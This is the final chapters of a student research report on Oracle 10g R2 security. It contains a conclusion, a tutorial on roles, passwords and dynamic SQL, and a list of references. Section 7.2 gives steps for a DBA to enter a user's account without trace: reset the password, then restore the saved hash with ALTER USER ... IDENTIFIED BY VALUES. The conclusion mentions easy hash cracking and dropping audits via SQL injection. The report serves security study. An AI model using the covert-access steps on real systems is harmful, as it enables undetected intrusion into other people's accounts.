AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 99
Chapter 6
6. CONCLUSION ABOUT THE SECURITY OFFERED BY ORACLE
The flaws that we have discussed above show the weakness of Oracle as a Database. Consider the
fact that Oracle claims to have a good authentication method but according to my findings Oracle
has got a very weak Algorithm to monitor users logging in. The Oracle hashed password is so weak
and is easily calculated. The hashing algorithm is known in fine detail and people have made tools
that easily break the hashed passwords. It is also easy for a user to view other user’s hashed
passwords and easily obtain plain text passwords.
It is also very easy for an attacker to grant himself rights on data that he is not entitled to. An
attacker can use SQL injection to break through the authorisation policies set by the owner of the
data. For example, consider how easy it has been, as shown above, to break through the Virtual
Private Database which Oracle considers to be a very good way of avoiding unauthorised users
from viewing restricted data. Consider further the summit of Oracle’s security; Transparent Data
Encryption which encrypts data and shows it only to users with the password for the ewallet. But
even though it’s a safe way of securing data against unauthorised views, it has a weakness in that it
leaves some clear text data on the hard drive such that any one who gains access to the disk space
has got a clean view of the hidden data.
Oracle has got a very good auditing policy that records all actions taken by an attacker in great
detail. If FGA is used then an exact replica of the actions performed by an attacker is obtained. But
unfortunately this can easily be broken down by methods that include SQL Injection. An attacker
can manage to drop auditing policies defined against him. Therefore the auditing offered by Oracle
is not ultimately safe since it can be easily dropped by an attacker.
Auditing is also a method that could be used to maintain Data Integrity. Oracle also offers a good
method to check for data integrity. It allows the user to make a checksum on any given data and
always the new checksum is compared with the initial and if they are the same then the data is
intact. It also provides a way to wrap all the SQL text in the database but unfortunately this can be
broken as well.
Overall, Oracle has the potential of being a very secure Database but unfortunately it has a lot of
flaws to be solved. The major weakness that Oracle has is protecting against SQL Injection. My
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 100
conclusion is that Oracle is not secure enough to protect users’ data. Their packages need to be
revised and if they manage to solve the SQL Injection problem then a lot of flaws can be solved.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 101
Chapter 7
7. ORACLE TUTORIAL
7.1 THE DIFFERENCE BETWEEN SYS, SYSTEM AND PUBLIC SYS is the owner of the database and the owner of the data dictionary. Never create objects in the
SYS schema. The objects belonging to SYS cannot be exported. It is not possible to create a trigger
in the SYS schema and it is not also possible to execute a login trigger for SYS.
SYSTEM is a privileged administration user, and typically owns Oracle provided tables other than
the dictionary. Don't create your own objects under SYSTEM. As an experience, at times SYS does
not allow the bearer to execute some essential actions on the database for example, creating a wallet
for TDE using the required commands (in my case). But if you log in as system with DBA role, this
can be easily done.
The PUBLIC role is created when the database is created. It refers to all the users in the database
thus anything that applies to it, applies to every database user. Suppose an execution privilege to a
procedure has been granted to PUBLIC, this simply means that any one can execute this procedure
with the prescribed rights.
The SYSDBA privilege is not role but a privilege usually associated with SYS. It allows the bearers
to startup the database, shut down the database, backup a database, recover a database and create a
database. It can not be assigned to public and all users who posses it can be listed in v$pwfile_users.
7.2 DBA AND PASSWORDS Oracle allows a DBA to enter any user’s schema without the user’s concern. I have made a list of
the steps executed by the DBA below. Suppose we have a user with username “OKE” and whose
password is “MANATSA”, more over the DBA does not know the user’s credentials. The DBA can
follow the steps below to change and restore the user’s password without leaving any sign that the
account has been tampered around with. The order of steps is as given below:
• Issue out a select statement that shows the DBA target user names and corresponding hashed
passwords. These are stored somewhere near by for later use.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 102
• He then issues out a command like the following: “ALTER USER OKE IDENTIFIED BY
KELETSO” statement. This will allow him to log into the account “OKE” with this new
password, “KELETS”.
• After logging of, he can log in back as a DBA, then issue out another “alter” statement to
reinstate the hashed password which he had replaced before.
• The statement used is “ALTER USER OKE IDENTIFIED BY VALUES
‘1B0AB76248CD3381’, where the last part is the users initial hashed passwords.
So, when the user ‘OKE’ logs in, Oracle hashes his password and then compares the newly hashed
password with that which is already stored in the hashed password table and finds the two identical
and the allows the user to log in without noticing that his account has been tempered around with
(only if the DBA placed the correct hashed password).
7.3 SQL COMMANDS This is a standard language for reads, writes, and other database operations. This has been
personalised in Oracle as PL/SQL.
An AUTONOMOUS_TRANSACTION is a SQL pragma that tells the compiler to suspend the main
transaction and start an independent subprogram. This works in a similar way a fork and join
command in the *NIX OPS where a parent process can fork out a child process and while the child
executes, the parent lies dormant. Soon after the child finishes it passes execution to the parent
which in turn resumes execution. The subprogram as well can log events and execute the select,
create, commit, or roll back SQL operations, and then resume the main transaction. It is treated as a
complete process in its own right, independent and shares no locks or resources with the main
transaction. Now the AUTONOMOUS_TRANSACTION pragma allows an attacker to run SQL
queries and scripts at higher privilege levels.
7.4 RECREATING THE DBA ROLE Suppose it so happens that you mistakenly drop the DBA role and need to resuscitate it, these are
the steps to follow: Log on into the database as a privileged internal or SYS and run the
following commands:
SQL> create role DBA;
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 103
SQL> grant all privileges to DBA with admin option;
SQL> grant SELECT_CATALOG_ROLE to DBA with admin option;
SQL> grant EXECUTE_CATALOG_ROLE to DBA with admin option;
SQL> grant DELETE_CATALOG_ROLE to DBA with admin option;
7.5 TUTORIAL ON DYNAMIC SQL
7.5.1 What is dynamic SQL? This refers to your DML and DDL statements stored as strings and used to suite your needs. Since
SQL statements are not required until run time, dynamic SQL takes advantage of this to build its
statements on the fly. It also allows the user to parse DDL statements directly from within PL/SQL
blocks.
Dynamic SQL allows the SQL to be unknown at compile time and at times performs better than
cursors.
7.5.2 SQL Statements
7.5.2.1 DBMS_SQL.PARSE This checks the SQL statements in your program and associates the statement with the cursor
defined. It can execute both DDL and DML statements. It takes three parameters; the name of the
cursor, the SQL statement being parsed and the language flag which determine how the SQL
statements will be processed.
DBMS_SQL.PARSE (my_cursor, my_sql, dbms_sql.v7);
7.5.2.2 DBMS_SQL.DEFINE_COLUMN This simply defines the column that shall contain the out put from your Dynamic SELECT
statement. Its arguments are the same as defined in the select statement and must appear in the same
defined order.
As one of the arguments, a cursor name must be stated then followed by the arguments in the select
statement as shown below.
SELECT CUSTOMER_ID, CUSTOMER_NAME FROM CUSTOMER;
DBMS_SQL.DEFINE_COLUMN (my_cursor, 1, CustID);
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 104
DBMS_SQL.DEFINE_COLUMN (my_cursor, 2, Name, 34);
If Varchar2 is used then the character length is specified.
7.5.2.3 DBMS_SQL.EXECUTE
This simply executes the SQL statement and its argument is the cursor name.
i:= DBMS_SQL.EXECUTE(MY_CURSOR);
7.5.2.4 DBMS_SQL.FETCH_ROWS
This fetches the rows of data that result from the query and every time it is called it retains another
row of data. It also takes the cursor name as an argument.
DBMS_SQL.FETCH_ROWS (MY_CURSOR);
7.5.2.5 DBMS_SQL.COLUMN_VALUE
This is some what linked with the DEFINE COLUMN statement. It retains the values that are a
result of the query and brought forward by FETCH ROWS. It also takes the cursor name as its first
argument, then followed by the column value of the argument of concern as defined in the query
string an then the third argument is the string itself.
DBMS_SQL.COLUMN_VALUE (MY_CURSOR, 1, CUSTID);
DBMS_SQL.COLUMN_VALUE (MY_CURSOR, 2, NAME);
7.5.2.6 DBMS_SQL.OPEN_CURSOR and DBMS_SQL.CLOSE_CURSOR
Now we make use of the Integer my_cursor declared in the procedure to hold a cursor ID produced
by calling the OPEN CURSOR statement. After we have used the cursor we have to close it so that
it does not result in an exception which may lead to a security flaw such as cursor snarfing. To close
the curse, the statement makes use of the cursor ID as an argument as shown below.
MY_CURSOR:= DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.CLOSE_CURSOR (MY_CURSOR);
7.5.2.7 DBMSSQL.BIND_VARIABLE
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 105
It allows the user to use a place holder for a value to be later used to hold the relevant value. It
happens to give out the same results as concatenating of variables.
SELECT CUSTID, NAME FROM CUSTOMER WHERE CUSTID >: x
DBMS_SQL.BIND_VARIABLE (MY_CURSOR, ‘x’, VAL_VAR);
7.6 DROPPING USERS IN ORACLE For instance, if a user has got objects in his schema and the DBA wants to drop the user from the
database the command shown below is used.
“Drop user username cascade;”
But if the user has no objects in his schema then the command used is shown below:
“Drop user username;”
7.7 REACTIVATING THE DATABASE If the database is not used for a long time, it goes into hibernation. To reactivate, log in as a
privileged user such as SYSDBA and use the command STARTUP on sqlplus.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 106
MY POSTER
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 107
REFERENCES 1. Anley C, Advanced SQL injection [Online]. Available:
http://www.nextgenss.com/papers/advanced_sql_injection.pdf, 2004 accessed on 06/2007
2. Bella J, Training: Identity theft, Law and Order,39(10), p 222, 2001
3. Burnett M, Blocking Brute Forcing Attacks, System Administration Database,
http://www.cs.virginia.edu/~csadmin/gen_support/brute_force.php?PHPSESSID=cc4a283c18
2df394f0e00a76fd1114c0, 2007, accessed on 06/2007
4. Cheveers S, The Oracle Database Product Family, Oracle Corporation, 2006, accessed on
05/2007
5. Dewri A, Transparent data Encryption, http://hosteddocs.ittoolbox.com/AD082604.pdf ,
2007, accessed on 06/2007
6. Fitchman P, Preventing credit card fraud and identity theft: A primer for online merchants,
Information Systems Security, p 4249, 2001
7. Heimann J, Introduction to Oracle Access Manager, Oracle Corporation, 2006
8. ISS, Glossary.pdf, http://www.infosectoday.com/Articles/Glossary.pdf, 2007, accessed on
06/2007
9. Kornbrust A, Circumvent Oracle’s Database Encryption and Reverse Engineering of Oracle
Key Management Algorithms, http://www.reddatabase
security.com/wp/oracle_circumvent_encryption_us.pdf, 2004, accessed on 04/2007
10. Litchfield D (1), Dangling cursor snarfing: a new class of attack in Oracle, NGS Insight
Security Research Publication, 2006
11. Litchfield D (2), which database is more secure? Oracle vs. Microsoft, NGS Insight Security
Research Publication, 2006
12. Newman A, Hackproofing databases,
http://www.appsecinc.com/presentations/oracle_security.pdf, 2007, accessed on 06/2007
13. Newman A (1), Database Activity Monitoring: Intrusion Detection & Security Auditing,
http://www.appsecinc.com/presentations/DAM_wp82305.pdf , 2007, accessed on 06/2007
14. Newman A.C, Search Engines Used To Attack Databases ( whitepaper), CTO & Founder,
Application Security, Inc,
http://www.appsecinc.com/presentations/Search_Engine_Attack_Database.pdf, 2007,
accessed on 06/2007.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 108
15. Oracle (1), Risk associated with cursor snarfing, www.integrity.com/oraclesecurity
blog/archive, 2007
16. Oracle (2), Oracle Database 10g Enterprise Edition,
http://www.oracle.com/database/index.html, 2006, accessed on 04/2007
17. Oracle (3), Oracle Database Security Guide 10g R2 (7.3.1.1 Password security),
http://downloaduk.oracle.com/docs/cd/B19306_01/network.102/b13266/toc.htm, 2007,
accessed on 05/2007
18. Oracle (4), Roles and privileges, http://downloaduk.oracle.com/docs/cd/
B19306_01/network.102/b13266/authoriz.htm#sthref329, 2007, accessed on 06/2007
19. Oracle (6), auditing (Oracle database security guide 10g R2),
http://downloaduk.oracle.com/docs/cd/B19306_01/network.102/b13266/index.htm, 2007,
accessed on 05/2007
20. Oracle (7), Data Encryption, http://www.oracle.com/technology/
amag/oracle/04jan/o14security.html, 2007, accessed on 05/2007
21. Priorbyl B, Feuerstein S, 2002, Learning Oracle PL/SQL, O’Reilly & Assocites, Inc, USA,
2002
22. Roshak N, Monitoring Open and Cached Cursors, http://orafaq.com/node/748, 2007 accessed
on 04/2007
23. Rowe D, An analysis of SQL injection prevention using a filter proxy server, University of
Rhodes, p 7, 2004
24. SearchSecurity.com, Oracle patches 82 critical flaws,http://searchsecurity.techtarget.com
/originalContent/0,289132,sid13_gci1149894,00.html, 2007, accessed on 04/2007
25. Smith GC, Oracle Database 10g Release 2:A Revolution in Database Technology, Oracle
Corporation, p 14,2004
26. Softpedia.com, Toying with Microsoft’s breaches is no longer fun,
http://news.softpedia.com/news/ToyingwithMicrosoftsbreachesisnolongerfunfor
hackers1603.shtml, 2007, accessed on 06/2007
27. Stephens S, Oracle Tip: Use profiles to create a password management policy,
http://builder.com.com/410063884223312.html, 2003, accessed on 04/2007
28. St Petersburg Times, A history of hacking,
http://www.sptimes.com/Hackers/history.hacking.html, 2000, accessed on 04/2007
29. Wikipedia (1), database security, www.wikipedia.org/databasesecurity/, 2007, accessed on
04/2007
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 109
30. Wikipedia(2), Cursor (databases), http://en.wikipedia.org/wiki/Cursor_%28databases%29,
2007, accessed on 04/2007
31. Wikipedia (3), Authentication, http://en.wikipedia.org/wiki/Authentication, 2007, accessed on
04/2007
32. Wikipedia (3), data integrity, www.en.wikipedia.org/dataintegrity/, 2007, accessed on
04/2007
33. WindowSecurity.com, Avoiding identity theft (whitepaper),
http://www.windowsecurity.com/whitepaper/AvoidingIdentityTheft.html, 2007, accessed
on 06/2007
34. Wright P, Oracle Passwords and Orabrute, NGS Insight Security Research Publication, 2007
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 110
APPENDIX Appendix 1
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 111
Appendix 2:
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 112
Appendix 3
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 113
Appendix 4
In the code shown above David Litchfield managed to insert the user name CSESS into the table
SYS.SYSAUTH$ which automatically grants him DBA
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 114
Appendix 5
This is java code to be used in PL/SQL.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 115
Appendix 6
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 116
Appendix 7
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 117
Appendix 8
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 118
Appendix 9
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 119
Appendix 10
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 120
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 121
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 122
Appendix 11
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 123
Appendix 12
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 124
Appendix 13
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 125
Appendix 14
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 126
Appendix 15
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 127
Appendix 16
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 128
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 129
Appendix 17